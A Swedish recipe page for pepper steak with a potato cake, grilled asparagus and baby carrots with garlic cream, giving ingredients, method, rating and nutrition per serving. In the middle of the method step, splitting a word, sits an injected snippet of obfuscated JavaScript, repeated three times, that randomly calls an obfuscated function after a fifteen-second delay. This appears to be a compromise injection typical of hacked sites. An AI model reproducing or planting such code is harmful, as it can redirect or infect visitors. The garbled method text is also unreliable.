Pepparbiff, potatiskaka, grillad sparris och babymorötter med vitlökskräm.

2013-06-18
IMG_1436
  • Servings : 1
  • Prep Time : 10m
  • Cook Time : 30m
  • Ready In : 35m

Ingredienser

  • 200g innanlår rullad i grovkornig svartpeppar
  • 100g potatis skivad med osthyvel
  • 50g 3st halverad sparris
  • 6st 50g babymorötter eller skivad morot
  • 0.3 dl milda mini mat
  • 0,3 dl vatten
  • 10g riven matlagningsost 11%
  • 1/2 hackad vitlöksklyfta
  • Örtsalt

Vitlökskräm

  • 50g kesella
  • 1/2 krossad vitlöksklyfta
  • Hackad gräslök
  • Nypa stevia
  • Örtsalt

Gör så här:

Sätt igång ugnen på 225 C
Lått köttet stå i rumstemperatur.

Spreja en ugnssäker porslinsform (ramekin), lägg potatisen i lager över varandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra, krydda med örtsalt och hackad vitlök i lagern, häll över milda mini mat, ost och vatten. Placera i ugnen i 30 minuter.

Grilla sparrisen och morötterna i ca 5 minuter på en grillpanna. Lägg dem åt sidan.

När det är ca 10 minuter kvar av potatisen lägg på köttet på grillpannan i ca 8 minuter, krydda med örtsalt, låt dem vila i ca 2 minuter, värm upp grönsakerna på grillpanna.

Vänd potatiskakan upp och ner på tallriken och låt den trilla ner, det kan sitta kvar potatis i botten med det avlägsnar ni lätt med en kniv. Servera med kött, grönsaker och vitlökskräm.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • _SAM0671

    Sremska korv med rostad gulbeta, potatis, sparris, spenat, svartvitlök med fetaostkräm

  • Avokado & äggmacka

    Avokado & äggmacka

Näringssinnehåll

Informationen gäller per portion

  • Kalorier 434,5

  • Protein 57,2

  • Kolhydrater 26,3

  • Fett 10,3

Recipe Comments

Post A Comment

Current ye@r *